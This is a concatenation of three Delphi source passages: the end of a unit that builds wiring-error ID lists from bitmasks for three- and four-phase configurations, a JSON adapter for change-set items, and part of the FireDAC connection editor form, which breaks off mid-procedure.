function GetIDList : TIntArray;
end;
implementation
{ TWE_MAKE_LIST }
function TWE_MAKE_LIST.CalErrorCount3(AErrCode: Integer): Integer;
var
i: Integer;
begin
Result := 0;
for i := 0 to 7 do
if AErrCode and ( 1 shl i ) = 1 shl i then
Inc( Result );
if (AErrCode and ( 1 shl 8 )+AErrCode and ( 1 shl 9 )) >0 then
Inc( Result );
// if (AErrCode and ( 1 shl 10 )+AErrCode and ( 1 shl 11 )) >0 then
// Inc( Result );
// if (AErrCode and ( 1 shl 12 )+AErrCode and ( 1 shl 13 )) >0 then
// Inc( Result );
// if (AErrCode and ( 1 shl 14 )+AErrCode and ( 1 shl 15 )) >0 then
// Inc( Result );
// for i := 0 to 4 - 1 do
// if AErrCode and ( 3 shl ( i * 2 + 8 ) ) <> 0 then
// Inc( Result );
for i := 16 to 23 do
if AErrCode and ( 1 shl i ) = 1 shl i then
Inc( Result );
if AErrCode and ( 7 shl 24 ) <> 0 then
Inc( Result );
end;
function TWE_MAKE_LIST.CalErrorCount4(AErrCode: Integer): Integer;
var
i: Integer;
begin
Result := 0;
for i := 0 to 10 do
if AErrCode and ( 1 shl i ) = 1 shl i then
Inc( Result );
for i := 16 to 19 do
if AErrCode and ( 1 shl i ) = 1 shl i then
Inc( Result );
if AErrCode and ( 7 shl 12 ) <> 0 then
Inc( Result );
if AErrCode and ( 7 shl 24 ) <> 0 then
Inc( Result );
end;
procedure TWE_MAKE_LIST.CleanErrorTypeSet;
begin
if FPhaseType = ptFour then
begin
Exclude( FErrorTypeSet, etUsBroken );
Exclude( FErrorTypeSet, etPTReverse );
end;
end;
function TWE_MAKE_LIST.CreateNewArray(AAry1, AAry2: TIntArray): TIntArray;
var
i, j: Integer;
nLen1, nLen2 : Integer;
begin
nLen1 := Length( AAry1 );
nLen2 := Length( AAry2 );
if ( nLen1 = 0 ) and ( nLen2 = 0 ) then
Result := nil
else if nLen1 = 0 then
Result := AAry2
else if nLen2 = 0 then
Result := AAry1
else
begin
SetLength( Result, nLen1 * nLen2 );
for i := 0 to nLen1 - 1 do
for j := 0 to nLen2 - 1 do
Result[ j * nLen1 + i ] := AAry2[ j ] or AAry1[ i ];
end;
end;
function TWE_MAKE_LIST.FilterArray(AErrArray: TIntArray): TIntArray;
var
i, nIndex : Integer;
nFilterCount : Integer;
begin
if FErrorCount = 0 then
begin
Result := AErrArray;
Exit;
end;
nFilterCount := 0;
if FPhaseType = ptThree then
begin
for i := 0 to Length( AErrArray ) - 1 do
if CalErrorCount3( AErrArray[ i ] ) <> FErrorCount then
begin
AErrArray[ i ] := -1;
Inc( nFilterCount );
end;
end
else
begin
for i := 0 to Length( AErrArray ) - 1 do
if CalErrorCount4( AErrArray[ i ] ) <> FErrorCount then
begin
AErrArray[ i ] := -1;
Inc( nFilterCount );
end;
end;
// 取最终结果
SetLength( Result, Length( AErrArray ) - nFilterCount );
nIndex := 0;
for i := 0 to Length( AErrArray ) - 1 do
if AErrArray[ i ] > 0 then
begin
Result[ nIndex ] := AErrArray[ i ];
Inc( nIndex );
end;
end;
function TWE_MAKE_LIST.GetCTReverseArray: TIntArray;
var
i : Integer;
begin
if etCTReverse in FErrorTypeSet then
begin
if FPhaseType = ptThree then
begin
SetLength( Result , 4 );
for i := 0 to Length( Result ) - 1 do
Result[ i ] := i shl 6;
end
else
begin
SetLength( Result , 8 );
for i := 0 to Length( Result ) - 1 do
Result[ i ] := i shl 8;
end;
end
else
Result := nil;
end;
function TWE_MAKE_LIST.GetCTShortArray: TIntArray;
var
i : Integer;
begin
if etCTShort in FErrorTypeSet then
begin
if FPhaseType = ptThree then
begin
SetLength( Result , 4 );
for i := 0 to Length( Result ) - 1 do
Result[ i ] := i shl 4;
end
else
begin
SetLength( Result , 8 );
for i := 0 to Length( Result ) - 1 do
Result[ i ] := i shl 4;
end;
end
else
Result := nil;
end;
function TWE_MAKE_LIST.GetIBrokenArray: TIntArray;
var
i : Integer;
j: Integer;
k: Integer;
begin
if etIBroken in FErrorTypeSet then
begin
if FPhaseType = ptThree then
begin
SetLength( Result , 8 );
for i := 0 to 2 - 1 do
for j := 0 to 2 - 1 do
for k := 0 to 2 - 1 do
Result[ 4 * k + 2 * j + i ] := k shl 3 + j shl 2 + i;
end
else
begin
SetLength( Result , 8 );
for i := 0 to Length( Result ) - 1 do
Result[ i ] := i shl 8;
end;
end
else
Result := nil;
end;
function TWE_MAKE_LIST.GetISequenceArray: TIntArray;
var
i : Integer;
aInt : array[ 0..3 ] of TIntArray;
begin
if etISequence in FErrorTypeSet then
begin
if FPhaseType = ptThree then
begin
for i := 0 to 4 - 1 do
begin
SetLength( aInt[ i ], 3 );
aInt[ i, 0 ] := 0 shl ( 8 + i * 2 );
aInt[ i, 1 ] := 1 shl ( 8 + i * 2 );
aInt[ i, 2 ] := 2 shl ( 8 + i * 2 );
end;
//Result := CreateNewArray( CreateNewArray( aInt[ 0 ], aInt[ 1 ] ),
//CreateNewArray( aInt[ 2 ], aInt[ 3 ] ) );
// SetLength( Result, 8 );
// Result[0] :=aInt[ 0 ][1-1]+aInt[ 1 ][1-1 ]+aInt[ 2 ][1-1]+aInt[ 3 ][ 1-1 ] ;
// Result[1] :=aInt[ 0 ][1-1]+aInt[ 1 ][1-1 ]+aInt[ 2 ][2-1]+aInt[ 3 ][ 3-1 ] ;
// Result[2] :=aInt[ 0 ][3-1]+aInt[ 1 ][1-1 ]+aInt[ 2 ][3-1]+aInt[ 3 ][ 1-1 ] ;
// Result[3] :=aInt[ 0 ][3-1]+aInt[ 1 ][1-1 ]+aInt[ 2 ][2-1]+aInt[ 3 ][ 2-1 ] ;
// Result[4] :=aInt[ 0 ][2-1]+aInt[ 1 ][2-1 ]+aInt[ 2 ][1-1]+aInt[ 3 ][ 1-1 ] ;
// Result[5] :=aInt[ 0 ][2-1]+aInt[ 1 ][2-1 ]+aInt[ 2 ][2-1]+aInt[ 3 ][ 3-1 ] ;
// Result[6] :=aInt[ 0 ][2-1]+aInt[ 1 ][3-1 ]+aInt[ 2 ][3-1]+aInt[ 3 ][ 1-1 ] ;
// Result[7] :=aInt[ 0 ][2-1]+aInt[ 1 ][3-1 ]+aInt[ 2 ][2-1]+aInt[ 3 ][ 2-1 ] ;
SetLength( Result, 2 );
Result[0] :=aInt[ 0 ][ 0 ]+aInt[ 1 ][ 0 ]+aInt[ 2 ][ 0 ]+aInt[ 3 ][ 0 ] ;
Result[1] :=aInt[ 0 ][ 2 ]+aInt[ 1 ][ 0 ]+aInt[ 2 ][ 2 ]+aInt[ 3 ][ 0 ] ;
end
else
begin
SetLength( Result , 6 );
for i := 0 to Length( Result ) - 1 do
Result[ i ] := i shl 12;
end;
end
else
Result := nil;
end;
function TWE_MAKE_LIST.GetPTReverseArray: TIntArray;
var
i : Integer;
begin
if etPTReverse in FErrorTypeSet then
begin
SetLength( Result , 4 );
for i := 0 to Length( Result ) - 1 do
Result[ i ] := i shl 22;
end
else
Result := nil;
end;
function TWE_MAKE_LIST.GetUBrokenArray: TIntArray;
var
i : Integer;
begin
if etUBroken in FErrorTypeSet then
begin
if FPhaseType = ptThree then
begin
SetLength( Result , 8 );
for i := 0 to Length( Result ) - 1 do
Result[ i ] := i shl 16;
end
else
begin
SetLength( Result , 16 );
for i := 0 to Length( Result ) - 1 do
Result[ i ] := i shl 16;
end;
end
else
Result := nil;
end;
function TWE_MAKE_LIST.GetUsBrokenArray: TIntArray;
var
i : Integer;
begin
if etUsBroken in FErrorTypeSet then
begin
SetLength( Result , 8 );
for i := 0 to Length( Result ) - 1 do
Result[ i ] := i shl 19;
end
else
Result := nil;
end;
function TWE_MAKE_LIST.GetUSequenceArray: TIntArray;
var
i : Integer;
begin
if etUSequence in FErrorTypeSet then
begin
SetLength( Result , 6 );
for i := 0 to Length( Result ) - 1 do
Result[ i ] := i shl 24;
end
else
Result := nil;
end;
function TWE_MAKE_LIST.GetIDList : TIntArray;
begin
SetLength( Result, 1 );
if FPhaseType = ptThree then
Result[ 0 ] := C_WE_ID_CORRECT_THREE
else
Result[ 0 ] := C_WE_ID_CORRECT_FOUR;
Result := CreateNewArray( Result, GetUSequenceArray );
Result := CreateNewArray( Result, GetUBrokenArray );
Result := CreateNewArray( Result, GetUsBrokenArray );
Result := CreateNewArray( Result, GetPTReverseArray );
Result := CreateNewArray( Result, GetISequenceArray );
Result := CreateNewArray( Result, GetIBrokenArray );
Result := CreateNewArray( Result, GetCTShortArray );
Result := CreateNewArray( Result, GetCTReverseArray );
if FErrorCount > 0 then
Result := FilterArray( Result );
end;
procedure TWE_MAKE_LIST.MakeWEList(AList: TList);
begin
end;
procedure TWE_MAKE_LIST.SetErrorTypeSet(const Value: TWE_ERROR_TYPE_SET);
begin
FErrorTypeSet := Value;
CleanErrorTypeSet;
end;
procedure TWE_MAKE_LIST.SetPhaseType(const Value: TWE_PHASE_TYPE);
begin
FPhaseType := Value;
CleanErrorTypeSet;
end;
end.
|
unit Vigilante.Infra.ChangeSet.JSONDataAdapter;
interface
uses
System.Generics.Collections, System.JSON, Vigilante.Infra.ChangeSet.DataAdapter,
Vigilante.ChangeSetItem.Model, Vigilante.Infra.ChangeSetItem.DataAdapter;
type
TChangeSetAdapterJSON = class(TInterfacedObject, IChangeSetAdapter)
private
FChangeSet: TJSONArray;
FListaChangeSet: TObjectList<TChangeSetItem>;
procedure CarregarDados;
public
constructor Create(const AChangeSet: TJSONArray);
destructor Destroy; override;
function PegarChangesSet: System.TArray<TChangeSetItem>;
end;
implementation
uses Vigilante.Infra.ChangeSetItem.JSONDataAdapter;
constructor TChangeSetAdapterJSON.Create(const AChangeSet: TJSONArray);
begin
FListaChangeSet := TObjectList<TChangeSetItem>.Create(false);
FChangeSet := AChangeSet;
CarregarDados;
end;
destructor TChangeSetAdapterJSON.Destroy;
begin
FListaChangeSet.Clear;
FListaChangeSet.Free;
inherited;
end;
procedure TChangeSetAdapterJSON.CarregarDados;
var
_adapter: IChangeSetItemAdapter;
begin
for var item in FChangeSet do
begin
_adapter := TChangeSetItemAdapterJSON.Create(item as TJSONObject);
var
ChangeSetItem := TChangeSetItem.Create(_adapter.Autor, _adapter.Descricao,
_adapter.Arquivos);
FListaChangeSet.Add(ChangeSetItem);
end;
end;
function TChangeSetAdapterJSON.PegarChangesSet: System.TArray<TChangeSetItem>;
begin
Result := FListaChangeSet.ToArray;
end;
end.
|
{*******************************************************}
{ }
{ Delphi FireDAC Framework }
{ FireDAC TFDConnection editor form }
{ }
{ Copyright(c) 2004-2018 Embarcadero Technologies, Inc. }
{ All rights reserved }
{ }
{*******************************************************}
{$I FireDAC.inc}
unit FireDAC.VCLUI.ConnEdit;
interface
uses
{$IFDEF MSWINDOWS}
Winapi.Messages, Winapi.Windows,
{$ENDIF}
System.SysUtils, System.Classes, Vcl.Controls, Vcl.Forms, Vcl.ExtCtrls,
Vcl.Grids, Vcl.StdCtrls, Vcl.ComCtrls, System.IniFiles, Vcl.Graphics,
Vcl.Buttons, Vcl.ToolWin, Vcl.ImgList, Vcl.ActnList, Vcl.Dialogs,
System.ImageList, System.Actions,
FireDAC.Stan.Intf, FireDAC.Stan.Option, FireDAC.Stan.Async, FireDAC.Stan.Util,
FireDAC.Phys.Intf,
FireDAC.Comp.Client, FireDAC.Comp.Script, FireDAC.Comp.UI,
FireDAC.Comp.ScriptCommands,
FireDAC.VCLUI.OptsBase, FireDAC.VCLUI.Controls, FireDAC.VCLUI.Login,
FireDAC.VCLUI.UpdateOptions, FireDAC.VCLUI.FormatOptions,
FireDAC.VCLUI.FetchOptions, FireDAC.VCLUI.ResourceOptions,
FireDAC.UI.Intf, FireDAC.VCLUI.Memo, FireDAC.VCLUI.Script;
type
TfrmFDGUIxFormsConnEdit = class(TfrmFDGUIxFormsOptsBase)
pcMain: TPageControl;
tsConnection: TTabSheet;
sgParams: TStringGrid;
cbParams: TComboBox;
edtParams: TEdit;
pnlTitle: TPanel;
Label1: TLabel;
Label2: TLabel;
cbServerID: TComboBox;
cbConnectionDefName: TComboBox;
Panel2: TPanel;
tsOptions: TTabSheet;
ptreeOptions: TFDGUIxFormsPanelTree;
frmFormatOptions: TfrmFDGUIxFormsFormatOptions;
frmFetchOptions: TfrmFDGUIxFormsFetchOptions;
frmUpdateOptions: TfrmFDGUIxFormsUpdateOptions;
frmResourceOptions: TfrmFDGUIxFormsResourceOptions;
pnlConnection: TPanel;
pnlOptions: TPanel;
tsSQL: TTabSheet;
tsInfo: TTabSheet;
pnlInfo: TPanel;
mmInfo: TMemo;
pnlSQL: TPanel;
Splitter1: TSplitter;
mmLog: TMemo;
scrEngine: TFDScript;
sdMain: TFDGUIxScriptDialog;
ActionList1: TActionList;
acNewScript: TAction;
acOpenScript: TAction;
acSaveScript: TAction;
acSaveScriptAs: TAction;
acSaveLog: TAction;
acExit: TAction;
acRun: TAction;
acRunByStep: TAction;
acSkipStep: TAction;
acContinueOnError: TAction;
acDropNonexistObj: TAction;
acShowMessages: TAction;
acHelp: TAction;
acAbout: TAction;
ilMain: TImageList;
ToolBar1: TToolBar;
tbtRun: TToolButton;
ToolButton1: TToolButton;
ToolButton3: TToolButton;
btnDefaults: TButton;
btnTest: TButton;
btnWizard: TButton;
btnWiki: TButton;
OpenDialog1: TOpenDialog;
procedure btnWizardClick(Sender: TObject);
procedure sgParamsSelectCell(Sender: TObject; ACol, ARow: Integer;
var CanSelect: Boolean);
procedure FormCreate(Sender: TObject);
procedure cbServerIDClick(Sender: TObject);
procedure EditorExit(Sender: TObject);
procedure sgParamsTopLeftChanged(Sender: TObject);
procedure EditorKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure sgParamsKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure sgParamsMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure cbConnectionDefNameClick(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure sgParamsDrawCell(Sender: TObject; ACol, ARow: Integer;
Rect: TRect; State: TGridDrawState);
procedure btnDefaultsClick(Sender: TObject);
procedure frmOptionsModified(Sender: TObject);
procedure cbParamsDblClick(Sender: TObject);
procedure FormResize(Sender: TObject);
procedure btnTestClick(Sender: TObject);
procedure pcMainChange(Sender: TObject);
procedure mmScriptKeyUp(Sender: TObject; var Key: Word; Shift: TShiftState);
procedure mmScriptMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure scrEngineBeforeExecute(Sender: TObject);
procedure scrEngineAfterExecute(Sender: TObject);
procedure scrEngineConsoleGet(AEngine: TFDScript; const APrompt: string;
var AResult: string);
procedure scrEngineConsoleLockUpdate(AEngine: TFDScript; ALock: Boolean);
procedure scrEngineConsolePut(AEngine: TFDScript; const AMessage: string;
AKind: TFDScriptOutputKind);
procedure scrEnginePause(AEngine: TFDScript; const AText: string);
procedure mmLogDblClick(Sender: TObject);
procedure acRunUpdate(Sender: TObject);
procedure acRunExecute(Sender: TObject);
procedure acRunByStepUpdate(Sender: TObject);
procedure acRunByStepExecute(Sender: TObject);
procedure acSkipStepUpdate(Sender: TObject);
procedure acSkipStepExecute(Sender: TObject);
procedure btnWikiClick(Sender: TObject);
procedure bedtParamsRightButtonClick(Sender: TObject);
private
FConnection: TFDCustomConnection;
FTempConnection: TFDCustomConnection;
FModified: Boolean;
FDriverID: String;
FConnectionDefName: String;
FConnectionDef: IFDStanConnectionDef;
FDefaults, FResults, FEdited: TStrings;
FOptions: IFDStanOptions;
FOnModified: TNotifyEvent;
FLockResize: Boolean;
FLastGridWidth: Integer;
FEditor: Integer;
function GetPageControl: TPageControl;
procedure GetDriverParams(const ADrvID: String; AStrs: TStrings);
procedure GetConnectionDefParams(const AConnectionDefName: String; AStrs: TStrings);
procedure OverrideBy(AThis, AByThat: TStrings);
procedure FillParamValues(AAsIs: Boolean);
procedure FillParamGrids(AResetPosition: Boolean);
procedure AdjustEditor(ACtrl: TWinControl; ACol, ARow: Integer);
procedure FillConnParams(AParams: TStrings);
procedure Modified;
function IsDriverKnown(const ADrvID: String;
out ADrvMeta: IFDPhysDriverMetadata): Boolean;
procedure ResetConnectionDef;
procedure ResetOpts;
function GetGridWidth: Integer;
function GetEditor: TWinControl;
function GetTempConnection: TFDCustomConnection;
function GetTestConnection: TFDCustomConnection;
procedure ReleaseTempConnection;
procedure SetConnectionParams(AConnection: TFDCustomConnection);
protected
procedure LoadFormState(AIni: TCustomIniFile); override;
procedure SaveFormState(AIni: TCustomIniFile); override;
public
mmScript: TFDGUIxFormsMemo;
bedtParams: TButtonedEdit;
class function Execute(AConn: TFDCustomConnection; const ACaption: String;
const ACustomFrm: TfrmFDGUIxFormsConnEdit = nil): Boolean; overload;
class function Execute(var AConnStr: String; const ACaption: String;
const ACustomFrm: TfrmFDGUIxFormsConnEdit = nil): Boolean; overload;
class function Execute(AConnDef: IFDStanConnectionDef; const ACaption: String;
const ACustomFrm: TfrmFDGUIxFormsConnEdit = nil): Boolean; overload;
constructor CreateForConnectionDefEditor;
procedure LoadData(AConnectionDef: IFDStanConnectionDef);
procedure PostChanges;
procedure SaveData;
procedure ResetState(AClear: Boolean);
procedure ResetData;
procedure ResetPage;
procedure TestConnection;
procedure FillConnectionInfo(AConnection: TFDCustomConnection; ATryToConnect: Boolean);
procedure SetReadOnly(AValue: Boolean);
property LockResize: Boolean read FLockResize write FLockResize;
property PageControl: TPageControl read GetPageControl;
property OnModified: TNotifyEvent read FOnModified write FOnModified;
end;
var
frmFDGUIxFormsConnEdit: TfrmFDGUIxFormsConnEdit;
implementation
uses
System.Variants, System.Types, System.UITypes, Data.DB,
FireDAC.Stan.Consts, FireDAC.Stan.ResStrs,
FireDAC.DatS;
{$R *.dfm}
type
__TWinControl = class(TWinControl)
end;
{------------------------------------------------------------------------------}
// General
procedure TfrmFDGUIxFormsConnEdit.FormCreate(Sender: TObject);
var
iBorderY, iBorderX: Integer;
begin
iBorderY := GetSystemMetrics(SM_CYBORDER);
iBorderX := GetSystemMetrics(SM_CXBORDER);
sgParams.DefaultRowHeight := GetEditor.Height - iBorderY;
FLastGridWidth := GetGridWidth;
sgParams.ColWidths[0] := MulDiv(FLastGridWidth, 1, 3) - 2 * iBorderX;
sgParams.ColWidths[1] := MulDiv(FLastGridWidth, 1, 3) - 2 * iBorderX;
sgParams.ColWidths[2] := MulDiv(FLastGridWidth, 1, 3) - 2 * iBorderX;
FDefaults := TFDStringList.Create;
FResults := TFDStringList.Create;
FEdited := TFDStringList.Create;
mmScript := TFDGUIxFormsMemo.Create(Self);
mmScript.Parent := pnlSQL;
mmScript.Align := alClient;
mmScript.OnKeyUp := mmScriptKeyUp;
mmScript.OnMouseUp := mmScriptMouseUp;
bedtParams := TButtonedEdit.Create(Self);
bedtParams.Parent := pnlConnection;
bedtParams.Images := ilMain;
bedtParams.RightButton.ImageIndex := 6;
bedtParams.RightButton.Visible := True;
bedtParams.OnRightButtonClick := bedtParamsRightButtonClick;
bedtParams.OnExit := EditorExit;
bedtParams.OnKeyDown := EditorKeyDown;
bedtParams.Visible := False;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.FormDestroy(Sender: TObject);
begin
scrEngine.Connection := nil;
ReleaseTempConnection;
FOptions := nil;
FDFreeAndNil(FDefaults);
FDFreeAndNil(FResults);
FDFreeAndNil(FEdited);
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.pcMainChange(Sender: TObject);
begin
if pcMain.ActivePage = tsInfo then
FillConnectionInfo(nil, True)
else if pcMain.ActivePage = tsSQL then
scrEngine.Connection := GetTestConnection;
end;
{------------------------------------------------------------------------------}
function TfrmFDGUIxFormsConnEdit.GetPageControl: TPageControl;
begin
Result := pcMain;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.SetConnectionParams(AConnection: TFDCustomConnection);
begin
PostChanges;
AConnection.Close;
frmFetchOptions.SaveTo(AConnection.FetchOptions);
frmFormatOptions.SaveTo(AConnection.FormatOptions);
frmUpdateOptions.SaveTo(AConnection.UpdateOptions);
frmResourceOptions.SaveTo(AConnection.ResourceOptions);
FillConnParams(AConnection.Params);
if FConnection <> nil then
if FConnectionDefName <> '' then
AConnection.ConnectionDefName := FConnectionDefName
else
AConnection.DriverName := FDriverID
else
if (CompareText(FResults.Values[S_FD_DefinitionParam_Common_Name], FConnectionDefName) = 0) or
(FConnectionDefName = '') then
AConnection.DriverName := FDriverID
else
AConnection.ConnectionDefName := FConnectionDefName;
end;
{------------------------------------------------------------------------------}
function TfrmFDGUIxFormsConnEdit.GetTempConnection: TFDCustomConnection;
begin
if FTempConnection = nil then begin
FTempConnection := TFDConnection.Create(nil);
if FConnection <> nil then
FTempConnection.Name := FConnection.Name;
SetConnectionParams(FTempConnection);
end;
Result := FTempConnection;
if (FConnection <> nil) and FConnection.Temporary then
Result.Params.Pooled := False;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.ReleaseTempConnection;
begin
if FTempConnection <> nil then begin
scrEngine.Connection := nil;
FDFreeAndNil(FTempConnection);
end;
end;
{------------------------------------------------------------------------------}
function TfrmFDGUIxFormsConnEdit.GetTestConnection: TFDCustomConnection;
begin
if (FConnection <> nil) and FConnection.Connected and not FModified then
Result := FConnection
else
Result := GetTempConnection;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.Modified;
begin
FModified := True;
ReleaseTempConnection;
if Assigned(FOnModified) then
FOnModified(Self);
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.LoadFormState(AIni: TCustomIniFile);
begin
inherited LoadFormState(AIni);
ptreeOptions.LoadState(Name, AIni);
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.SaveFormState(AIni: TCustomIniFile);
begin
inherited SaveFormState(AIni);
ptreeOptions.SaveState(Name, AIni);
end;
{------------------------------------------------------------------------------}
// ConnDef page
procedure TfrmFDGUIxFormsConnEdit.ResetConnectionDef;
begin
GetEditor.Visible := False;
FEdited.Clear;
FillParamValues(True);
FillParamGrids(True);
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.ResetOpts;
var
oOpts: IFDStanOptions;
begin
oOpts := TFDOptionsContainer.Create(nil, TFDFetchOptions, TFDUpdateOptions,
TFDResourceOptions, nil);
frmFetchOptions.LoadFrom(oOpts.FetchOptions);
frmFormatOptions.LoadFrom(oOpts.FormatOptions);
frmUpdateOptions.LoadFrom(oOpts.UpdateOptions);
frmResourceOptions.LoadFrom(oOpts.ResourceOptions);
end;
{------------------------------------------------------------------------------}
function TfrmFDGUIxFormsConnEdit.IsDriverKnown(const ADrvID: String;
out ADrvMeta: IFDPhysDriverMetadata): Boolean;
var
i: Integer;
oManMeta: IFDPhysManagerMetadata;
begin
Result := False;
FDPhysManager.CreateMetadata(oManMeta);
for i := 0 to oManMeta.DriverCount - 1 do
if CompareText(oManMeta.DriverID[i], ADrvID) = 0 then begin
oManMeta.CreateDriverMetadata(ADrvID, ADrvMeta);
Result := True;
Break;
end;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.GetDriverParams(const ADrvID: String;
AStrs: TStrings);
var
oDrvMeta: IFDPhysDriverMetadata;
oTab: TFDDatSTable;
i: Integer;
begin
if IsDriverKnown(ADrvID, oDrvMeta) then begin
oTab := oDrvMeta.GetConnParams(AStrs);
try
for i := 0 to oTab.Rows.Count - 1 do
AStrs.Add(oTab.Rows[i].GetData('Name') + '=' + oTab.Rows[i].GetData('DefVal'));
finally
FDFree(oTab);
end;
end;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.GetConnectionDefParams(const AConnectionDefName: String;
AStrs: TStrings);
var
oConnectionDef: IFDStanConnectionDef;
begin
if FConnectionDef <> nil then
oConnectionDef := FConnectionDef
else
oConnectionDef := FDManager.ConnectionDefs.ConnectionDefByName(AConnectionDefName);
AStrs.AddStrings(oConnectionDef.Params);
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.OverrideBy(AThis, AByThat: TStrings);
var
i: Integer;
sKey, sValue: String;
begin
for i := 0 to AByThat.Count - 1 do begin
sKey := AByThat.Names[i];
sValue := AByThat.Values[sKey];
AThis.Values[sKey] := sValue;
end;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.FillParamValues(AAsIs: Boolean);
var
oStrs: TFDStringList;
begin
oStrs := TFDStringList.Create;
try
FDefaults.Clear;
if FDriverID <> '' then
GetDriverParams(FDriverID, FDefaults);
if FConnectionDefName <> '' then begin
GetConnectionDefParams(FConnectionDefName, oStrs);
OverrideBy(FDefaults, oStrs);
end;
FResults.SetStrings(FDefaults);
if (CompareText(FResults.Values[S_FD_DefinitionParam_Common_Name], FConnectionDefName) = 0) or
(FConnectionDefName = '') then
FResults.Values[S_FD_ConnParam_Common_DriverID] := FDriverID
else
FResults.Values[S_FD_DefinitionParam_Common_ConnectionDef] := FConnectionDefName;
if not AAsIs then
OverrideBy(FResults, FEdited);
finally
FDFree(oStrs);
end;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.FillConnParams(AParams: TStrings);
var
i, j: Integer;
lChanged: Boolean;
sKey, sVal: String;
begin
AParams.Clear;
if FConnectionDef <> nil then
AParams.SetStrings(FEdited)
else
for i := 0 to FEdited.Count - 1 do begin
sKey := FEdited.Names[i];
sVal := FEdited.Values[sKey];
lChanged := False;
for j := 1 to sgParams.RowCount - 1 do
if AnsiCompareText(sgParams.Cells[0, j], sKey) = 0 then begin
lChanged := True;
Break;
end;
if lChanged then
lChanged := FDefaults.Values[sKey] <> sVal;
if lChanged then
AParams.Add(sKey + '=' + sVal);
end;
end;
{------------------------------------------------------------------------------}
function TfrmFDGUIxFormsConnEdit.GetGridWidth: Integer;
begin
Result := sgParams.ClientWidth - GetSystemMetrics(SM_CXVSCROLL) - 5;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.FillParamGrids(AResetPosition: Boolean);
var
oDrvMeta: IFDPhysDriverMetadata;
oTab: TFDDatSTable;
i: Integer;
begin
if not IsDriverKnown(FDriverID, oDrvMeta) then
sgParams.RowCount := 2
else begin
oTab := oDrvMeta.GetConnParams(FResults);
try
sgParams.RowCount := oTab.Rows.Count + 1;
for i := 0 to oTab.Rows.Count - 1 do begin
sgParams.Cells[0, i + 1] := oTab.Rows[i].GetData('Name');
sgParams.Cells[1, i + 1] := FResults.Values[oTab.Rows[i].GetData('Name')];
sgParams.Cells[2, i + 1] := oTab.Rows[i].GetData('DefVal');
end;
finally
FDFree(oTab);
end;
end;
sgParams.Cells[0, 0] := S_FD_ParParameter;
sgParams.Cells[1, 0] := S_FD_ParValue;
sgParams.Cells[2, 0] := S_FD_ParDefault;
sgParams.FixedRows := 1;
if AResetPosition then begin
if sgParams.RowCount > 2 then
sgParams.Row := 2
else
sgParams.Row := 1;
sgParams.Col := 1;
end;
end;
{------------------------------------------------------------------------------}
function TfrmFDGUIxFormsConnEdit.GetEditor: TWinControl;
begin
case FEditor of
0: Result := edtParams;
1: Result := cbParams;
2: Result := bedtParams;
else Result := nil
end;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.AdjustEditor(ACtrl: TWinControl;
ACol, ARow: Integer);
var
R: TRect;
oCtrl: __TWinControl;
begin
oCtrl := __TWinControl(ACtrl);
R := sgParams.CellRect(ACol, ARow);
R.TopLeft := sgParams.Parent.ScreenToClient(sgParams.ClientToScreen(R.TopLeft));
R.BottomRight := sgParams.Parent.ScreenToClient(sgParams.ClientToScreen(R.BottomRight));
oCtrl.Left := R.Left;
oCtrl.Top := R.Top;
oCtrl.Width := R.Right - R.Left;
oCtrl.Text := sgParams.Cells[ACol, ARow];
oCtrl.Visible := True;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.cbServerIDClick(Sender: TObject);
var
s: String;
begin
s := cbServerID.Text;
if (s <> '') and ((FConnectionDef = nil) and (FConnectionDefName <> '') or (FDriverID <> s)) then begin
if FConnectionDef = nil then
FConnectionDefName := '';
cbConnectionDefName.Text := '';
FDriverID := s;
FEdited.Clear;
FillParamValues(True);
FillParamGrids(True);
GetEditor.Visible := False;
Modified;
end;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.cbConnectionDefNameClick(Sender: TObject);
var
s: String;
begin
s := cbConnectionDefName.Text;
if (s <> '') and (FConnectionDefName <> s) then begin
FConnectionDefName := s;
FDriverID := FDManager.ConnectionDefs.ConnectionDefByName(s).Params.DriverID;
cbServerID.Text := '';
FEdited.Clear;
FillParamValues(True);
FillParamGrids(True);
GetEditor.Visible := False;
Modified;
end;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.sgParamsSelectCell(Sender: TObject; ACol,
ARow: Integer; var CanSelect: Boolean);
var
oDrvMeta: IFDPhysDriverMetadata;
oTab: TFDDatSTable;
iNewEditor: Integer;
begin
if not cbServerID.Enabled then
Exit;
if (ACol = 1) and (ARow > 1) then begin
if IsDriverKnown(FDriverID, oDrvMeta) then begin
oTab := oDrvMeta.GetConnParams(FResults);
try
iNewEditor := FDGUIxSetupEditor(cbParams, edtParams, bedtParams,
OpenDialog1, oTab.Rows[ARow - 1].GetData('Type'));
finally
FDFree(oTab);
end;
if iNewEditor <> FEditor then begin
case iNewEditor of
0:
begin
edtParams.Visible := True;
cbParams.Visible := False;
bedtParams.Visible := False;
end;
1:
begin
edtParams.Visible := False;
cbParams.Visible := True;
bedtParams.Visible := False;
end;
2:
begin
edtParams.Visible := False;
